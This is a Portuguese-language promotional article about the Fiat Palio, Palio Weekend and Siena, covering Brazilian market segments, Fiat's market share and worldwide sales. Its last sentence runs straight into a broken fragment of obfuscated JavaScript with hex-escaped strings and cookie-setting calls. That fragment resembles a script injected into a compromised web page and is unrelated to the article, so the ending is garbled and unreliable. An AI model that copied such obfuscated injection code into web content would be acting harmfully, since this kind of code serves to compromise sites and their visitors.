Palio Weekend

Do final de 1997 até o início de 2000, as vendas de automóveis despencaram no Brasil como resultado da crise econômica sofrida pelo país. Novos fabricantes também entraram no mercado brasileiro ao mesmo tempo. No entanto, a Fiat conseguiu manter uma participação igual a 25% do mercado total.

No Brasil, o segmento A, ou seja, carros com capacidades de até 1.000 cc, é responsável por mais da metade das vendas de carros novos e, portanto, atrai a atenção de todos os fabricantes locais. Apesar do lançamento de novos modelos e competição vigorosa, os modelos da Fiat ocupam uma posição de grande importância dentro deste segmento. Com o advento do novo Palio, a Fiat pretende tornar-se líder em produção de carros de alto volume.

A Fiat aumentou significativamente sua participação no segmento B quando lançou um Fiat Palio com um motor de 1,3 16v. Este carro se manteve firme diante de rivais perigosos. O novo Fiat Palio com motores 1.3 16v ou 1.6 16v representa uma excelente resposta às diferentes necessidades dos clientes nesta faixa de mercado.

A posição da Fiat no segmento C1, ou seja, o segmento de sedãs compactos, é reforçada pelo lançamento do novo Siena. A empresa pretende absorver cerca de 25% desse mercado.

O segmento de vagões compactos, segmento Cw, cresceu em importância nos últimos anos. Grande parte desse crescimento deveu-se ao lançamento do Fiat Palio Weekend, que atualizou a imagem desses carros. O modelo rapidamente se tornou o líder neste segmento e consolidou sua posição lançando versões inovadoras como a Adventure. Esta posição quase certamente será reforçada com a chegada do novo Fiat Palio Weekend.

Os modelos da família Fiat Palio tornaram-se um sucesso mundial. Mais de um milhão e meio foram vendidos a clientes em 41 mercados (incluindo Alemanha, Itália, França, Espanha, África do Sul, Marrocos, Rússia, Vietnã e Índia). O carro é produzido em dez países e vendido e exportado para outros 31. Atualmente, o Fiat Palio, o Palio Weekend e o Siena estão presentes em quatro continentes e o Brasil representa 80% do total da produção do modelo da família Palio. Esses números servem para enfatizar a importância do Brasil na indústria automobilística mundial.

A Fiat decidiu, portanto, dar à reforma da família 178 e trazer novos padrões de qualidade e engenharia, com o objetivo de consolidar e ampliar sua presença no Brasil e em outros mercados onde o Palio já é um sucesso.

Os três carros profundamente diferentes que vemos hoje são o resultado de pesquisa aprofundada, pesquisa inovadora, testes exaustivos e investimento em processos de produção atualizados. Os três carros garantem altos padrões de qualidade e engenharia e representam um verdadeiro salto qualitativo em termos de boa aparência, conforto, segurança e desempenho.

Clientes tradicionais e exigentes e também clientes que buscam praticidade e satisfação de condução poderão atender às necessidades atuais e futuras da família Palio.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]